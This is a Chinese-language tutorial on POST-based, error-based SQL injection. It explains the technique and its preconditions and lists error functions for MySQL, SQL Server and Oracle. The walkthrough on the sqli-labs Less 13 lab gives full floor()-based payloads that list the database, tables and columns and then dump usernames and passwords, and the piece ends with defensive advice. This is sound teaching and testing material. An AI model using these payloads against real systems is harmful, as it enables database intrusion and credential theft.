引言

SQL注入是Web安全領域危害性最大、最常見、最持久的高危漏洞之一。它直接威脅到應用程序核心數據庫的安全，可導致數據泄露、篡改、刪除、系統淪陷等災難性后果

常見的SQL注入教程多聚焦于GET請求（URL參數注入），但現實應用中，POST請求（表單提交、API調用）同樣廣泛且易被忽略

POST報錯注入是POST型SQL注入中一種利用數據庫錯誤信息回顯來竊取數據的高效技術

---

POST請求簡述

1. 本質：
   • POST 是 HTTP 協議定義的用于向服務器提交數據的一種主要請求方法
   • 與 GET 請求（數據附加在 URL 后）不同，POST 請求的數據通常包含在請求體 (Request Body) 中發送給服務器
2. 主要用途：
   • 提交表單數據： 最常見場景，如用戶登錄（用戶名/密碼）、注冊、發表評論、上傳文件、修改個人信息等
   • 創建資源： 在 RESTful API 設計中，常用于創建新的資源（如創建一篇新文章）
   • 更新資源： 也常用于更新服務器上的現有資源（如修改文章內容）
   • 傳輸較大或敏感數據： 因為數據不在 URL 中顯示，相對 GET 更安全（但不是加密，仍需 HTTPS），且無 URL 長度限制
3. 特點：
   • 數據位置： 數據在 HTTP 請求頭 (Headers) 之后，位于獨立的請求體 (Body) 中
   • 安全性： 數據不在 URL 中暴露，瀏覽歷史、服務器日志通常不會記錄請求體內容（但不等于安全，明文傳輸仍需 HTTPS 保護，且服務器端處理不當仍有風險）
   • 冪等性： 通常認為 POST 請求是非冪等的（多次提交可能產生不同的結果或創建多個資源）。這與 GET（冪等）不同
   • 可緩存性： 通常 POST 請求的響應不會被瀏覽器緩存
4. 與 SQL 注入的關系：
   • 攻擊面： POST 請求提交的數據（如表單字段、JSON/XML 參數）同樣是 SQL 注入的重要攻擊入口，用戶輸入的任何數據（如用戶名、密碼、搜索詞、評論內容）如果未經驗證和正確處理，都可能被用來構造惡意 SQL 語句
   • 隱蔽性： 由于數據不在 URL 中，通過瀏覽器地址欄或普通訪問日志不易直接觀察到注入點，攻擊者通常會借助代理工具（如 Burp Suite, Postman）或構造惡意表單頁面進行攻擊。但這并不降低其危害性

---

報錯注入核心思想

跟GET報錯注入相同，故意構造一個非法的 SQL 語句片段作為用戶輸入，觸發數據庫執行時產生一個錯誤。攻擊者利用這個錯誤信息中攜帶的、由數據庫返回的特定內容（通常是攻擊者精心構造的查詢結果）來竊取數據

詳細步驟解析

1. 探測注入點： 確認目標參數存在 SQL 注入漏洞（例如，提交單引號 ’ 導致頁面顯示數據庫錯誤信息）
2. 觸發錯誤： 構造一個特殊的輸入，使得拼接后的 SQL 語句在語法或語義上是錯誤的。例如，利用數據庫函數對非法數據進行操作（如將字符串當作數字運算、訪問不存在的表/列、函數參數錯誤等）
3. 嵌入數據查詢： 在這個會引發錯誤的表達式內部，嵌入一個攻擊者想要執行的子查詢 ((SELECT …))。這個子查詢的目標是提取敏感數據（如 (SELECT username FROM users LIMIT 1)）
4. 利用錯誤信息回顯： 當數據庫執行這個錯誤的語句時，它會中斷執行并返回一個詳細的錯誤信息給應用程序（前提是關鍵前提滿足）。這個錯誤信息通常會包含導致錯誤的具體表達式內容
5. 竊取數據： 因為導致錯誤的表達式里包含了攻擊者的子查詢 ((SELECT …))，而數據庫在執行錯誤檢查時會先執行這個子查詢。最終，子查詢的執行結果（例如查詢到的用戶名 admin）就會作為錯誤表達式的一部分，被包含在數據庫返回的錯誤信息里。攻擊者通過查看頁面上顯示的錯誤信息，就能直接看到子查詢的結果（admin）
6. 迭代提取： 通過修改子查詢（如使用 LIMIT 偏移、WHERE 條件過濾），攻擊者可以逐條提取數據庫中的數據（表名、列名、具體數據）

各種報錯的詳解：updatexml()報錯注入，extractValue()報錯注入，floor()報錯注入

---

關鍵前提

報錯注入成功實施必須滿足以下關鍵前提條件，缺一不可：

1. 存在 SQL 注入漏洞：

   • 應用程序未對用戶輸入進行有效的過濾、轉義或參數化處理，導致攻擊者可以修改 SQL 語句的結構或邏輯。這是所有 SQL 注入的基礎。

2. 數據庫錯誤信息回顯到前端：

   • 這是報錯注入最核心、最關鍵的先決條件！
   • 當數據庫執行出錯時，應用程序沒有捕獲并妥善處理這個錯誤（例如，沒有進行全局錯誤捕獲并返回友好的自定義錯誤頁），而是將原始的、詳細的數據庫錯誤信息直接輸出（回顯）到了網頁、API 響應或其他客戶端可見的位置（如響應狀態碼 500 的頁面內容）
   • 如果應用程序僅返回一個通用的“服務器錯誤”頁面，或者錯誤信息被記錄到日志但不展示給用戶，那么攻擊者就無法看到包含敏感數據的錯誤詳情，報錯注入就無法成功。

3. 數據庫支持可利用的報錯函數/語法：

   • 攻擊者需要利用數據庫特定的函數、特性或語法來構造可控的錯誤。不同的數據庫有不同的函數：

     • MySQL: updatexml(), extractvalue(), exp(), floor(rand()*2) 配合 GROUP BY (Duplicate Key Error) 等
     • SQL Server: convert(), cast(), 除以零 (1/0), WAITFOR DELAY (有時可用于基于時間的錯誤觸發) 等
     • Oracle: ctxsys.drithsx.sn(), utl_inaddr.get_host_name(), 無效的 XPath 表達式等。

   • 這些函數通常要求傳入特定的參數類型（如 updatexml() 要求有效的 XML 字符串和 XPath），當傳入構造的非法參數（如無效的 XPath 表達式 concat(0x7e, (SELECT user()), 0x7e)）時就會報錯，并將非法參數的內容在錯誤信息中顯示出來。

4. 注入點上下文允許構造復雜表達式：

   • 注入點需要能夠插入包含函數調用和子查詢 ((SELECT …)) 的表達式。這通常發生在 SQL 語句的 WHERE 條件、SET 子句、VALUES 子句、ORDER BY 子句等可以放置表達式的地方。如果注入點限制很大（如只能插入一個數字 ID），可能難以構造有效的報錯載荷

---

實戰演練

環境設置： 本示例為 sqli-labs 13

尋找注入點： 丟入 admin’ 通過回顯報錯得出閉合方式為：')

uname=admin'&passwd=&submit=Submit

構建報錯語句并查詢庫名：本示例使用的是floor報錯，如有不懂得可見 floor()報錯注入詳解

uname=admin') union select count(*),concat_ws('~',(select database()),floor(rand(0)*2)) as a from information_schema.tables group by a #&passwd=&submit=Submit

查詢列名

uname=admin') union select count(*),concat_ws('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a #&passwd=&submit=Submit

更改 limit() 參數，得出 users 表名

uname=admin') union select count(*),concat_ws('~',(select table_name from information_schema.tables where table_schema=database() limit 3,1),floor(rand(0)*2)) as a from information_schema.tables group by a #&passwd=&submit=Submit

查詢列名，更改limit參數逐行查詢結果，查詢出列名為：id,username,password

uname=admin') union select count(*),concat_ws('~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),floor(rand(0)*2)) as a from information_schema.tables group by a #&passwd=&submit=Submit

查詢字段

uname=admin') union select count(*),concat_ws('~',(select concat(id,':',username,':',password) from users limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a #&passwd=&submit=Submit

---

POST報錯注入與GET報錯注入的區別

• 注入點位置： GET在URL參數，POST在HTTP請求體
• 測試方式： GET可直接在瀏覽器地址欄或工具測試，POST通常需要抓包工具修改請求體
• 隱蔽性： POST請求體不可見，日志記錄可能更少，相對更隱蔽
• 常見場景： POST更常見于涉及數據修改或敏感操作的表單提交、API

---

防御之道：如何避免POST報錯注入？

• 根本方法：杜絕SQL注入漏洞

  • 使用參數化查詢/預編譯語句： 這是最有效、最推薦的方式
  • 輸入驗證與過濾： 嚴格校驗數據類型、長度、格式（白名單優于黑名單），但不能作為唯一防線
  • 最小權限原則： 數據庫連接賬號只授予應用所需的最小權限
  • 存儲過程： 謹慎使用，需保證存儲過程本身無注入

• 針對報錯信息泄露：

  • 關閉詳細錯誤回顯： 生產環境必須配置應用程序不將數據庫原始錯誤信息返回給客戶端。返回通用錯誤頁面
  • 自定義錯誤處理： 捕獲數據庫異常，記錄到服務器日志（供管理員排查），向用戶返回友好、無信息泄露的錯誤提示
  • 框架安全特性： 使用成熟的ORM框架（如Hibernate, Entity Framework）并正確配置，它們通常內置了參數化查詢等安全機制。